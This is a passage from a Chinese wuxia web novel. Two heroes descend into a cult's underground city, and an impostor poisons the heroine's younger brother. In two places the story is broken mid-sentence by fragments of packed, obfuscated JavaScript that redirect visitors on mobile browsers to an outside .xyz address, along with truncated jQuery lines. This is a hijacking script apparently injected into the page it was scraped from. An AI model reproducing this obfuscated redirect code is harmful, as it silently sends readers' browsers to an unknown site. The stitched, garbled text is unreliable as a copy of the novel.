“确实,姑娘买完宅子记得再多请两个护院,免得碰上我们这种入/室/抢姑娘的。”齐珂笑得更欢。
“奴家都听公子的。”林蓉微微欠身:“时候不早了,今日出门耽搁已久,不再打搅各位,明日见。”说罢,她又要了两瓶牡丹风月,向三人道别。
“好本事啊!”齐珂斜眼看向玉,不咸不淡地讽刺道。
“哎哟~珂珂~我这不是想着你才忍痛将蓉娘子打发走的?”向玉抓住齐珂的袖子左右摇摆:“小二,再上三壶牡丹风月,不,四壶,这位美娇娘独饮两壶。”
他一手一个拉着两人坐下,谢明嫌弃地挣开,挤开向玉坐到齐珂身边。
“好好好~我坐对面。”向玉撩起粉色长袍,神秘兮兮道:“猜我问到了什么?”他环顾四周,压低声音:“这牡丹城的下面,还有一座地下城,据说是仿造地上城的布局一比一建造的,昨日,你们两个在屋顶聊天,登高望远,可觉城中布局熟悉?”
“你怎么知道我们昨晚?”谢明握紧拳头。
“我又没睡死,弟弟,这是江湖经验,青天白日无妨,但到了晚上,一定要时刻做好被美人强/上,随时开溜的准备,我都听到了啊,你们想甩掉我,这可不行!我会跟牢你们的,把你们跟丢了,我再到何处……”他冲齐珂抛媚眼,被齐珂的白眼怼回去:“到何处再寻像你姐姐这样貌若天仙的娘子?”
“滚!离我阿姐远一点。”谢明咬牙切齿:“所以,昨晚背你回来的时候,你是醒着的?”
“真是的,在楼上叫人家玉哥哥,下了楼就翻脸不认人。”他看向谢明,后者明显握紧腰上别着的剑,他做了一个息怒的手势:“昨晚……半梦半醒吧,不过弟弟,你太瘦了,后背硌得慌。”
“你!”
“别吵了!”齐珂喝断两人,看向谢明:“我对空间布局不敏感,阿明,仔细想想,城中布局……”
谢明停住,脑中一一闪过昨日看到的每一处街坊,脑海里迅速建图,点线相连,城中三百七十六坊,看似纷杂,但若用街道将所有的地方分区,这不就是……他猛地睁大眼睛,一字一顿道:
“玄武坛,九龙打垒?”
“这样大的工程,难道这儿才是玄武坛的真正驻地吗?”齐珂将信将疑地看向向玉:“那个蓉儿,竟会告诉你这些?”
“她也是深受其扰。”他示意两人再凑近些:“六十年前,魔教建造了许多这样的地下城池,用以暗中炼药试药,试药人不是被毒死,就是变成活死人。其实,玄武坛九龙打垒的建造方法也是仿造早年各大城池布局,百余年前战乱不断,以这种布局建城,一旦有危险,便可立即传讯到城中各处,百姓有时间可退。”
“这个我听说过,城池地基是一早便打好的,若要建地下城,以防坍塌,轻重落点都要与地上城对应,是以,玄武坛所铸地下城,布局大多与地上一致。”齐珂皱眉:“可是当年掘毁的城池中,没有牡丹城这座,难道一直都没有被发现?”
“狡兔三窟,没被发现的地下城不知还有多少。”向玉继续道:“不过听蓉儿说,牡丹城里这一座,是约莫三个月前重新开启的。”
“三月前?十六宫中第一个遭难的天雷宫,便是在三月前被灭门。”齐珂回忆自己收到第一份投奔信签的时间。
“你还是没有告诉我们,那个蓉娘子,为什么会告诉你这些?就因为你给她赎身?”谢明抓住这点不放。
“明明啊~这是我下面要说的重点。”向玉撩起胸前垂下的墨发:“地下城的入口就在霁华楼,出口城外三里竹林,林蓉说,这三个月,魔教的人不知从哪里抓了不少人回来,就在下面,煮/人。”
“煮/人?!”谢明震惊。
“温水药浴,七七四十九天。”齐珂想了想,还是给谢明解释:“听祖母说,当年魔教宣称炼制出了真正的长生不老药,但真正能长生不老的人,几十万里都难得一个,就是因为熬不过所谓的‘三重仙路’。
“第一重,挥刀自/残,濒死之际服下长生丹,熬过去的成了活/死/人,熬不过的就成死/人。”
“第二重,药浴,药浴中浸泡七七四十九天,每天六个时辰,每个时辰都会新添两味药剂,据说这一步,是锻造金刚之身,熬过去的,能刀枪不入,熬不过去的,就成了肉/汤。”
“第三重,就是最后的孟婆饮,了却前尘事,羽化成仙,若喝完还活着,便能真正长生不老,否则,内脏糜/烂,但因为已是金刚之身,所以躯壳仍在,七窍禁闭,人早已变成一个血/水缸了。”
“这……”谢明震怒:“荒唐,天下岂有长生不老之法?!师父曾说,万物皆无常,有生必有灭,不执着于生灭,方能得永恒喜乐。可魔教那帮畜生,不就是借着人对生的贪念去荼毒生灵,残害众生吗?什么三重仙路,那分明是……”
“嘘!你小点声!”向玉一把把他拉坐下来:“还有旁人在呢!”
“哼!”谢明气鼓鼓道:“你继续说。”
“蓉儿说那帮人在给绑来的人试第二重药浴时,觉得时间漫漫,百无聊赖,所以会从上面的霁华楼选戏子去唱曲,但暗无天日的地下城,有熬不过第一重天路被随意丢弃的尸/体,有正在经历第二重天路被禁锢在热锅里的可怜人,还有被抓来关着,哭天抢地,吃喝拉撒皆在一处的百姓,视觉嗅觉双重打击,正常人谁受得住?更别提她们晚上迎客还要收拾心情,笑脸迎人。”
“纵使如此,但为什么是告诉你?”
“当然是因为……咳咳!”向玉清清嗓子,嘴角怎么压都压不住:“我告诉她,我们乃当年铲除魔教,名震江湖的八杰后人!侠之大者,为国为民。吾等承祖辈遗志,定匡扶正义,降妖除魔,肃恶道,斩魔教,还武林以太平!”
“你有病吧?!”
-
第三日亥时三刻,齐珂带着向玉准时出现在霁华楼伊人笑雅间,君莫换了件桃红蹙金琵琶衣,脸上的酒晕妆更浓,见齐珂的视线落在自己身上,下意识皱眉往后退两步。
“嗯?你把她怎么了?”向玉悄悄问,齐珂没有理他,看着君莫勾唇笑道:“同你说过,这个妆容不好看,像猴子屁股。”
“非也!我觉得甚好!照花前后镜,花面交相映,花影云鬓,盈盈秋水,正衬娘子美貌!”向玉笑得风流:“才子配佳人,娘子这样一朵国色牡丹,若是再配上在下这样清雅却不寡淡,热情却不油腻的绿叶,呜~~”
脸被齐珂捂住:“闭嘴吧你!”
“珂珂~”向玉委屈,青葱十指抚上自己的脸,还好,没被这个大力丫头挤歪,他重换上笑容去看君莫,却见美人眉头皱得更紧,表情中是掩饰不住的嫌弃,又往后退了两步。
“我很油腻吗?”他侧移一步,歪向齐珂问道。
“嗯!”齐珂回答地毫不迟疑,看向离两人有一丈远的君莫:“说吧,去何处捉人?”
“不急,再等一刻。奴家记得,与你们同行的,还有一位小公子。”
“小孩儿贪杯,吃坏肚子,来不了。”齐珂笑了笑,轻轻踹了一脚向玉,后者哎哟一声:“对了,今日怎么不见蓉娘子,在下钱都备好了,等事了要给她赎身的。”
君莫的眼神在两人身上停留片刻,在桌旁坐下,双指捻起桌上的牡丹花,放到水盆里,淡淡道:“先捉到人再说吧。她告诉你们地下城的入口在我们这儿?”
“何须她告诉,我们能查到。”向玉满脸自信,支起胳膊搭在齐珂肩上,齐珂沉肩让开,向玉踉跄,尴尬地咳了一声,装作无事发生一样去整理自己的衣摆。
“哦?”君莫没有抬头,用手舀起清水,浇在牡丹花上,可是不知水里添加了什么东西,刚一碰到那朵开得正艳的红色牡丹,牡丹花瞬间发出呲呲的声响,很快花瓣蜷曲,只一眨眼的功夫,那朵鲜花就闭拢起来,合成了一个花苞的形状:“是因为那个没来的公子?谢家被灭门时他才七岁,我还以为谢家的追踪术,他只学得皮毛呢。”
“君莫。”齐珂出声,在他身边坐下,直勾勾看向他,君莫下意识后仰,齐珂幽幽道:“有些话最好烂在肚子里,谢家郎君在江湖是死人。”
“生死人定。”
“呵,今日不怕了?”齐珂的眼睛微眯,射出危险的光芒,视线从他的脸上游移到覆着薄纱的脖颈儿。
“毕竟你就要死了,死人会保守秘密。进了地下城的外人,除了我楼里的角儿,没一个能活着出来。现在门未开,你们仍有机会离开。”
齐珂的压迫感很强,君莫看着她的眼睛就能想起前日自己身上那只上下游移的手,虽说并没有对他做什么实质上的事情,但自那晚过后,他觉得自己不干净了,而罪魁祸首就这样一眨不眨地看着他,他坐不住,后移一步起身,留头转身,尽管身体已经很怂,说出的话倒还有几分气魄。
齐珂:“你不和我们一道下去?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11803063|125765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>向玉:“什么秘密?我错过什么了?风流韵事还是恩爱纠葛?”
两人同时发问。
“啧!”齐珂龇牙,向玉立马低头敛声:“好好好,我不问了。”
“地下城的就在柜子之后,子时从内部开启,送唱曲的角儿上来,我不下去,我怕死。”君莫看向向玉,忽然轻笑一声:“哦~对了,今日下去唱曲的,是林蓉。”
放在西边的柜子里传来“咯咯咯”的声响,是门锁滑动的声音,齐珂看向桌上的那座牡丹花钟——子时已到。
君莫上前打开柜子:“魔教之人就在下面,二位请。”
“蓉儿还没上来。”向玉把住柜门。
“兴许是她唱得太好,下头的郎君舍不得她走呢?这世上可不止公子一人怜香惜玉。”君莫突然绽出一抹璀璨的笑意:“二位快些吧,这门很快就要关上了。”
向玉还想再说些什么,领子被齐珂揪住,直直跌了进去。身后大门合拢,四周寂静无声,似是堕入无边的黑暗,身后的大门像是隔绝阴阳两岸的往生门,门外还有人气,门内是无尽的死寂。
“哎哟~我的屁股~珂珂~”
齐珂吹亮一个火折子,眼前登时亮堂,一条很长的甬道,甬道向下,火光能照到的地方是密密麻麻的台阶。
“摆明了是陷进,咱们还非得往下跳,当真孤勇!而且今天是十五,你有没有听说过一个说法,十五的时候阴气重……”
“马后炮!“齐珂没好气地打断他:“城外竹林又不是没找到入口,你有本事从那儿下来啊。”
“天下阵法,反攻要比正闯难上百倍!何必去废那个功夫?”
“那你还说个屁!赶紧起来!”
“哦!”向玉揉着屁股起身,齐珂已经自顾自往下走了,他小碎步跑到齐珂身后,挽住齐珂的胳膊:“你等等我,我害怕。”
“珂珂,我瞧着那个君莫娘子不是个好人,长得好看的女人都危险。”感受到齐珂冷嗖嗖的目光,他赶紧补一句:“你除外!她让我们今日过来,说不准早就通知下面的人了,我俩过去,只可能两种结果。”
他一手挎着齐珂,一手掰指头:“下面机关密布,魔教中人布好天罗地网,就等我们两个自投罗网,好将我们一网打尽,你就好比人参果,我就好比唐僧肉,都是大补,吃干抹净,骨头都不剩。”
“其二,他们碍于我俩威名,早就吓跑了,我们过去扑了一场空,浪费时间。”
“你有什么威名?”齐珂挣了两下没挣开,手臂反而被向玉越抱越紧,她放弃抵抗继续往下走。
“衢县啊,惩恶扬善,救纤弱妇人于水火。”
“她可不用你救。”齐珂不屑笑道,忽然她脚步一顿,黑暗中除了火折子的光亮,她腰间系着的香囊里也闪出青色的亮光,齐珂捏紧香囊,望向幽深的甬道尽头,眸光加深:“我能确定,炼尸人没走。”
“剑灵?”向玉探头:“你不是把那两把剑还回去了吗?”
“你是真没睡死啊!”齐珂踹他。
“哎呀,习惯使然嘛,我这不担心那一众未能与我修成正果的美人半夜寻仇?你快说说,这是……”
“天下灵剑,剑灵并不是遍布于剑身的,会找阴气最强处汇聚,以阴养灵,所以江湖之中,那些叫得出名字的好剑,在剑鞘处都会镶一些诸如玉石一样的装饰,剑灵汇聚于此,就算是世间至阳之剑七星龙渊,在剑首,也有一枚琼玉。刀亦然,你的刀也是如此。”
“这些我竟从未听过,用刀数十载,枉为刀客了。”向玉难得没有插科打诨,摇头感叹。
“你不是铸剑师,铸刀客,不知道这些也正常。”
“所以……”向玉看向齐珂腰间闪着青光的香囊:“你把人家最值钱的玉抠了。”
“当然!过后还能卖钱,怎么样,我是不是很聪明?”
向玉没有作声,唇角微勾,低眉轻笑。
两人谈话间,甬道已见底,面前一堵石墙,严丝合缝,透不出墙后一丝一毫的气息。齐珂上前,手指在墙上摸索,敲无空响,帖耳无风声,她转头看向接过火折子站在原地的向玉:“你试试?”
“我来。”向玉粉色腰带解开,兵刃出鞘之声在甬道中格外清晰,刹时,光华毕现,他持刀而立,走上前,手掌贴住墙面,内力缓缓探进去,一寸,两寸,三寸,四寸,五寸,六寸……
石墙竟有足足七寸之厚!
两人对视一眼,向玉蹙眉提醒道:“珂珂,退后。”
“你又要直接劈开?”
向玉眼眸一弯,顿时波光粼粼,嘴角绽开一个浅浅的梨涡,整个人在昏暗的灯火下显得更加漂亮:“我跟你说过,一刀破万法!只要实力足够,世间所有机括都能如此破!”
说罢,他力灌长刀,刀身现出火红的光晕,他手臂扬起,不像寻常刀客一般铿锵,倒像舞蹈似的,长袖翻飞,甚是好看,突然,伴随着轰隆巨响,脚下震颤,刺眼的刀芒直冲而起,宛如九天遨游的火龙,火龙吐舌,墙面燃起熊熊火光,空气中腾起的炽热扑面而来。
但那却不是真火,是刀意!蓬勃汹涌到如烈火般能将一切焚干毁烬的刀意!
石墙发出刺耳可怖的声响,石头从青色变成碳一样的深黑色,“咔咔咔”,最顶部传来爆裂声,齐珂甩开手中的长鞭,死死盯着开始四分五裂的石墙。
“嘿嘿,珂珂,怎么样,我是不是很……”
“小心!”向玉话音未落,腰间被齐珂的血月缠上,上千根银针透过薄薄的衣衫刺进皮肤,他痛呼一声,整个人被齐珂的鞭子拽至身前,齐珂一言不发,眼中闪过嗜血之色,提鞭就战。拥挤的甬道中充斥着如同猛兽一般的嘶吼声,从石墙后成片成片涌出来的不是旁的东西,而是上百个活/死/人!!
血月为长鞭,在狭小的甬道中无法完全使出威力,但齐珂身法极好,愣是在密密麻麻,多如蜚蠊的包围中杀出一条血路。
“攻头!”
“我知道!”齐珂怒喝。
向玉提气而战,“无名”在手,所向披靡,他旋身挥出一片片绚烂的光幕,似点点繁星从空中坠落而下,光幕虹芒耀满整座甬道,杀开周身环绕所有阴霾。一招“白驹空谷”,“咚”得一声闷响,如同寺庙暮钟,又如空谷坠响,纵使内力强如齐珂,也不觉心中震颤,她稳住心神向门边杀去,向玉紧随其后,无名刀光闪烁,挥出一道道残影。
门后似是涌出最后一批活/死/人,血月横扫而过,忽然,面前一排女人身上现出青紫色的银光,齐珂一怔,身后的活/死/人伸出利爪就要对着她的心脏掏去,齐珂长鞭出手,几乎同时,那人的脑袋被血月和无名从不同的方向击穿,瞬时脑/浆四溅。
齐珂看向面前身染青紫光芒的女子,眼中闪过不忍,但见又有人扑来,旋身挥鞭,鞭随身转,又是青紫色的银光一片:“这……”
“珂珂!”向玉飞身上前拉起齐珂手腕:“走啊!”
他拽着人飞快往前奔去,脑后的发带打在齐珂的脸上,一如两人初见。齐珂深吸一口气定下心神,刚想挣开,却听前面向玉突然朗笑出声:“不理你们了,带着小美人私/奔喽!”
11. 第11章
“私奔……”齐珂脑袋里嗡得一声,微微张着嘴巴,眼前人的身影模糊,转过头,是另一张温润如玉的脸,面部线条柔和,透着一股子书卷气,他温温和和地笑着,回头唤她:“阿珂。”
“阿珂,我心匪石,不可转也。我心匪席,不可卷也。待你及笄,我就去求陛下赐婚,你嫁给我,我们生生世世在一起,永远不分开。”
“好啊!”齐珂坐在屋顶上,星空漫天,玉兔银蟾,她不喜欢喝云之恒给她买的木瓜渴水,所以偷偷把里面的饮子换成了木瓜味的甜酒,靠在云之恒肩头,仰面灌下一大口,酒精顺着喉咙淌下去,又甜又辣,她抹了一把嘴:“之恒哥,届时要是陛下不同意,我就拉着你私奔,天下之大,总有我们的去处!”
云之恒没有说话,他只是静静地把头搁在齐珂的头上,有些惋惜地叹道:“今晚没有月色。”
“但有星河,醉后不知天在水,满船清梦压星河。星星也很好看。”
…………
“呼呼!哎呀妈呀,累死我了,这帮活/死人真能跑啊,珂珂!嘿!珂珂!”面前一只摆动的手把齐珂拉回现实,她猛然回神,哪里还有那张书生气的脸,白孔雀放大的极其漂亮的脸蛋戳到她跟前,一双眼尾微微上翘,风情万种的桃花眼眨巴眨巴:“你怎么了?”
“没什么。”她把人推开,回头看,两人跑了有一段距离,活死人没有追过来。
齐珂打量四周,如果对应地上牡丹城,两人现在所在的位置是霁华楼楼前的落星桥,桥下也有汩汩流淌的河水,但水上蒸腾着白雾,水是蓝绿色,咕嘟咕嘟冒着泡,空气中隐隐弥漫着一股刺鼻的药味。向玉腰间染了血,是被血月刺伤的,但他居然破天荒没有说什么,反而眼珠咕噜噜转个不停。
“奇怪,那些活死人追到桥前面的假竹林前就不跑了?珂珂,你说……”向玉缓缓移动到齐珂身后,脑袋缩在她的背后,警惕地四处打量:“咦~不会是这儿有比活死人更可怕的东西吧。”
“来都来了,怕有什么用?”
“我不怕!谁说我怕了!”他挺直腰板,手却仍然紧紧拽住齐珂的衣袖:“有我家珂珂在,我不怕!不过,珂珂,你刚刚到底怎么了,那些活/死人分明要取你性命,你怎么还手软呢?”
“那些是吴家庄失踪的人。”齐珂看向已经泛出淡淡红光的血月,神色凝重:“阿明的溯空粉,血衣的主人,沾上溯空粉,就会现出青紫色的蓝光。”她从怀里掏出一个包裹,里面是几个守山人交给她的亲人物件,有半截血衣,有染血的簪子,还有一个已经变成深红色的护身符。
她捏紧这个小小的包裹,眼中是散不去的阴霾:“我来晚了。”
向玉没有说话,他伸出手想要拍一拍齐珂的后背,手指还没有触碰到她,齐珂突然转过身,把包裹塞进衣服里,眼中没有了悲愤,反而冒出兴奋的亮光:“走吧,来都来了,先把这儿的玄武坛拔了!”
“呃……哦……好!”向玉尴尬地蜷起手指,齐珂注意到他伸出来的胳膊,皱眉后退一步:“你干嘛?”
“哎哟~这不是人家紧张嘛,想靠你近一些,平复平复心情。”向玉唇角轻勾,眸光潋滟如晴水,手指自觉攀上齐珂的袖子,环顾四周道:“按照九龙打垒的布局,地下城的中心对应的应该就是府衙,我们往府衙走。”
“你带路。”齐珂点头,向玉犹豫了一下还是拽着齐珂的胳膊提步往前,被齐珂揪回来:“等等!我虽然路痴,但大致也识得霁华楼在城北,若往府衙去,不是应该往东南走?”
“哦~对对对!东南东南!”向玉一拍脑袋,非常自然地原地转身,笑容明媚:“走吧!”
“向玉!你别告诉我,你也不识路!!”
两人一路往前,路上居然一个人都没有,但是偶尔能碰几具随意散落在地上,已经干掉的尸/体,他们蹲下查看,很奇怪,尸/体的衣服,五官都还算清晰完整,看上去和睡着了没什么两样,像是没有经过腐烂这一步,就直接干化掉了。但是只要轻轻触碰,他们脸上的皮肤就会像千层酥饼的酥皮一样,一触即碎,还往下掉渣。
“你说这些人是没挺过第一重天路,还是第三重?”齐珂没有再碰,那些尸/体实在脆弱,经不起她四处翻查。
“难说。”向玉捂着鼻子,嫌弃地没有上前:“没有外伤,但碎成这样,里面也没有血水。”他微微倾头,眉眼闪过一瞬即逝的杀意:“越往里走,尸/体越多,药味越浓,说明我们没走错,走吧,先去府衙。”
“好!”齐珂起身,两人拐过一处街坊,面前的房屋忽然换了一种景象。牡丹城的房舍多为木质建筑,因为虽然它的地理位置仍然偏西偏北,但却是这一带难得多雨的城池,如果用石头建房,雨季会潮湿发霉,而木头既能通风又能保温。
所以,在地上牡丹城,所见几乎都是木楼,可在这地下城,两人面前却突兀现出一片石垒房舍。石头颜色为黑,但又有一些偏云杉绿。
“留音石?”向玉走上前轻轻抚摸墙壁:“凤凰台上音尘绝,九州苑里托遗音。凤凰台,九州苑……”向玉猛地回头看向齐珂,脸上露出难以置信的神色:“这不都是你……”
“没错。”齐珂神色森然,眸光深黑,一眼望不到底,忽然她浅笑一声,似乎带着嘲讽:“十五年前,云清宫被焚毁的一片宫域,留音石,本是我云清宫的东西。”
“珂珂……”向玉睫毛颤了颤,话含在嘴里化为一声叹息:“对不起。”
“和你有什么关系?当年宫门是我开的,我咎由自取,与旁人无关。”
他脸色凝重,还想再说什么,忽然四周屋舍的石壁发出“咚咚咚咚!”的战鼓声响,马蹄声由远及近,在天地之间震颤,踏得大地都在颤动。喊杀声四起,整座地下城充满了软武器的鞭挞声,刀剑相击的刺耳声,震天的声浪里夹杂着让人心颤的惨嚎。
“凝神闭识!是万音阵!”齐珂神色一凛,厉声喝道。
向玉飞身至齐珂身前,手中无名握紧,两人背对而立,内力结气,两股雄厚的真气在两人周遭结成一个红蓝相间的气罩,一阵阵音浪前仆后继撞在气罩上,气势雄浑可怖,发出刺耳的爆裂声响。
万音阵以音杀人,声浪滔天,犹如剑势翻涌,刀势奔腾,如果内力抵挡不住,身体会立马被音浪击穿,五脏俱废,爆体而亡。
“万音阵每三罗刹一息,一息为刹那,利用间隙冲出去!”齐珂甩出手中长鞭,向玉反手握住她另一只手,手指在她的手背手轻点数拍:“哒!哒!哒!哒!准备……”
齐珂猛地睁开眼,屏息等待万音阵休止的那一瞬间,忽然,万千奔涌的厮杀声中,她听到了那声让她魂牵梦萦许久的声音,齐珂的身子猛地僵住,手背上男人的手指变成温热的手掌,将她的手紧紧包住,那只手使力,想拉着她一起飞掠出去,齐珂的身形却猛然一顿。
万音阵即将中止,但那道撕心裂肺的呼喊声却愈发清晰,清晰到令她头皮发麻,周遭的血战声仿佛全部被她屏蔽,天地间,她只能听到那声阔别了十五年的呼唤:
“阿姐!!”
…………
“阿姐!!阿姐为何从那边过来?那只白孔雀呢?”
城外竹林,谢明抱着赤影靠在一根没有被拦腰斩断的竹子上,原本竹影茂密时看不清晰,但经过那一晚齐珂和鬼面黑衣人的打斗,大部分翠竹被削到只剩下短短一截,俯瞰,有心之人不难发现竹子的动势。
这是一个两仪微尘阵,此阵法根据阴阳五行八卦的原理,将阴阳二气化作微尘,包裹住竹林形成一个能量场,没什么什么攻击作用,和之前的双面迷阵一样,只是用来守御和迷幻踏入竹林之人。
阵法的中心,就是牡丹地下城的出口,出口石门,上设一个小小的伏魔阵,早些时候被向玉破坏掉,阵口石门凿开一个圆洞,圆洞上插着一根口径较粗的软管,软管连接牡丹城护城河,只要齐珂向玉事成之后一声令下,谢明便能引河水倒灌,九龙打垒的城池布局,虽然能最快速度传递危险讯息,提醒人撤离,但相应的,屋舍相连过密,死/亡传得也快。
封住两端出口,水淹地下城,六十年前,老一辈们用这种方法消灭过不少玄武坛的地下城池。
“阿姐,你没事吧!“看到月色下跌跌撞撞跑过来的身影,谢明目眦欲裂,飞奔过来扶住身上一股浓郁血腥味,捂住伤口踉跄跑过来的齐珂,看到她衣服破损处露出来的狰狞的伤口
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11803050|125765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,谢明眼中满是心疼,喉咙堵到发不出声来,他连忙握住齐珂的手腕,毫无保留地将自己的内力传输过去,但她应该是受伤极重,丹田处如同无底洞,传输进去的内力悉数石沉大海。
“咳!咳咳!!”齐珂握住他的手,止住谢明的动作,声音说不出地沙哑,一张口,满嘴的血腥味:“向玉……向玉为了掩护我……命……命陨,咳咳!咳咳!快!快开水阀,来不及了!快!”
她勉励推搡谢明,自己的身子支撑不住,向前扑倒,谢明本就因为齐珂受伤慌了手脚,才被推得往洞口处跑了两步,见齐珂要倒,又连忙折返,接住她摇摇欲坠的身躯,将人抱个满怀,使劲托住她:“阿姐!你!!!”
突然,他的瞳孔皱缩,一霎间,身体僵住,仿佛被人从头到脚浇了一盆凉水,全身麻木,像一根木头,轰得一声仰面直直倒了下去,发带上的凤尾铃铛发出“叮铃”悲泣。
他双目圆睁,脸上浮现出不敢置信的表情,艰难出声,喉咙如同被刀割一般刺痛:“你……你不是……”
“她若死了,我就是了~”那张齐珂的面皮后传来熟悉的声音,原本因为重伤佝偻的身躯挺直,他抬手擦拭沾上药粉的手腕,手腕纤纤,一举一动身段十分优美。他居高临下地看着在地上痛苦抽/搐的谢明,含笑而立,但眼中的冷漠仿佛是对地上这个垂死挣扎少年的嘲弄:
“没有你爹的能力,就不该掺和这一脚,少年人,下辈子,注意些。”
说罢,他径直从谢明身上跨过,往洞口处走,谢明躺在地上,被冷汗打湿的头发紧紧贴着头皮,瞳孔放大,眉毛拧成一团,呼吸十分急促,胸口的每一次起伏都给他带来极大的痛苦,头顶人影跨过,他的喉咙里发出微弱的叫声。
“不!阿姐还在里面,不能让他放水!”
“阿姐不能死,不能死!”
“阿姐……她是他唯一的亲人了,他也是她唯一的亲人了,不行!他不能看着阿姐死在这里,至少,阿姐不能死在他前面!”
谢明的嘴角渗出丝丝缕缕的鲜血,两双手因为巨痛死死抠进身下的泥土里,他知道,他中的是断肠粉,中毒之人不会立刻死去。
第一日如百蚁噬骨,第二日是千刀凌迟,第三日乃万箭穿心,到了第四日肝肠具断……
何须到第四日,这样摧心剖肝,前三日,意志力不强之人早就被活活疼死了!
但……他还不能死!他不能眼睁睁地看着阿姐死!不知道从哪里生出来的力气,谢明突然一声痛急的惨叫,使出最后的力气翻身,身子往前扑去,死死抱住那人的小腿,紧咬牙关,无论如何也不肯放手。
那人身子一顿,谢明就算使足了力气,但垂死之躯,只要他想,是完全能够轻易挣开的,可鬼使神差的,他居然没有再动,垂眸看向抱在自己腿上那只满是血污的手,指甲里全是混着鲜血的泥土,几片甲片断裂开来,而那个死咬着不放的少年,额上青筋暴起,嘴里的鲜血随着一声声呛咳不断往外涌出,君莫胸中淤塞,长叹一口气,像是在问谢明,又像是在问自己:
“何必呢?值得吗?”
“不许……不许……不许……”回答他的只有谢明那一声声几近强弩之末的呢喃。
那年凡客山谷,那个人弥留之际也是这样,死死抓着他的手,即使眼神已经无法聚焦,嘴里却还是一声又一声地重复着:“不许……不许……不许……”
不许?呵,李今安啊李今安,你凭什么那么轻易就给我的人生下了定断?凭什么?!
君莫缓缓抬起头,看向不远处那条渐渐开始起雾的护城河,能看到什么呢?虚无,永远都是这样,虚无!
他没有再犹豫,狠狠甩开谢明的手,谢明下意识地还想再拦,君莫却不再给他机会,他发疯一般地冲出口奔过去,眼底闪露着偏执的神采,他颤抖着手去够软/管,眼眸中黑色暗涌,就差一点点了,就差……
忽然,带着汹涌杀意的狂风骤起,气势之强劲,整片竹林仿佛要被连根拔起,空气中的爆裂之声如同惊雷在耳边炸响,万千狂风化作冰蓝色的巨刀从天而降,齐珂怒极的暴呵声狂风骤雨般席卷而来:
“君莫你大爷!!敢动我弟!!给老娘死!!!!”
12. 十五年前事难断,假局真入又何妨?……
带刺的长鞭狠狠打在身上,君莫感觉全身的骨头仿佛都被一根一根打碎,仰面掀翻出去,后背狠狠撞在竹林入口处的石碑上,他的身子猛地一抖,俯身呕出一大口血。
对方力道虽然很大,却没有下死手,他痛得眼前模糊,耳边隐约传来一个男人咋咋唬唬的声音:“快快快!放水放水,蓉儿快开水阀!”
身上骨裂一般的剧痛还没有缓过来,下颚突然被人掰住,他被迫仰起头,力气之大,他觉得只要对方再加一点力,他的下巴就会立刻被卸下来,喉咙里的血又被呛了回去,君莫呼吸困难,这时听到齐珂几近疯狂的怒吼:“解药呢?!把解药交出来!!”
“咳……咳咳!没有……咳……没有……没有解药!哈哈哈……咳咳!”君莫仰面,一只眼睛被汗水和血水糊住,睁不开眼,整个人狼狈不堪,但他却笑得坦然,齐珂双眼通红,闻言眼中杀意暴起,君莫听到自己下巴发出可怕的咯吱咯吱声,他知道骨头已经移位。
“你找死!”齐珂怒极失控,雄浑的内力聚集在掌心,眼睛里满是血丝。
“珂珂!!!冷静冷静!!!”向玉跌跌撞撞地跑过来,从背后一把抱住身子颤抖的她:“冷静啊~别忘了蓉儿给我们的密函!他还有用,不能杀不能杀!!!”齐珂的手被向玉握住,他死死包裹着齐珂冰凉的手,感受着里面逐渐平静下来的真气,心中长舒一口气,幸亏这一掌没打出去,否则,面前这个顶着珂珂脸的男人,恐怕连全尸都不会有!
“松开!”齐珂突然出声,声音平静到令他害怕,向玉咽了口唾沫,听话松开箍紧齐珂的手臂,怀中的人起身,奋起一脚又把君莫踢出三丈远,紧握拳头深吸一口气:“绑起来带走!”
“好好好!”向玉连忙点头:“只要你暂时不杀他就好。”
齐珂没有言语,转头看向地上的谢明,他已经痛晕了过去,齐珂朝他走出一步,腿一软,向玉眼疾手快赶紧扶住,被齐珂推开,她定了定神快步到谢明面前,小心翼翼地把他抱进怀里,动作轻柔,像是在呵护一个马上就要碎掉的瓷娃娃。
“阿姐……”谢明像是感受到姿势的变化,身上的每一寸皮肤都是疼的,但是齐珂靠近他的那一刻,掉进姐姐不算太温暖的怀里,感受着她的温度,陷入无尽黑暗中的他还是无意识地向她靠近,头轻轻靠在齐珂的肩膀上,喃喃:“阿姐……”
“阿姐在,阿姐在……”齐珂收紧手臂,脸靠着谢明毛茸茸的头发,泪珠滚落,落进他的发间。
“珂珂……”向玉把同样晕死过去的君莫用绳子拖过来,他第一次见齐珂落泪,站在她身侧有些不知所措,最后还是犹豫着伸出手,轻轻搭在齐珂的肩上,手上的温度透过薄薄的衣衫传到她的脊背。
齐珂的身子一抖,偏头在脸上胡乱抹了把,开口,声音带着哽咽:“此毒寻常医家解不了,去百花阁!”
“百花阁?可顾家不是没有后代了吗?”
齐珂打横抱起谢明起身。
“我来吧。”向玉见状想接过谢明,被齐珂躲开:“如果我猜得没错……”她的脑海中浮现出那道黑衣鬼面的身影:“或许还有人在,阿明撑不了多久,江湖顶尖医家只有百花阁离此最近,赌一把!”
“百花阁离此处一百八十里,蓉儿!”向玉蹙眉点头,立马回身喊来刚关上水阀的林蓉:“立刻回霁华楼驾马车,送至北城门。”他丢下一袋钱给林蓉:“之后在城里买座宅子,不必跟着我们。”
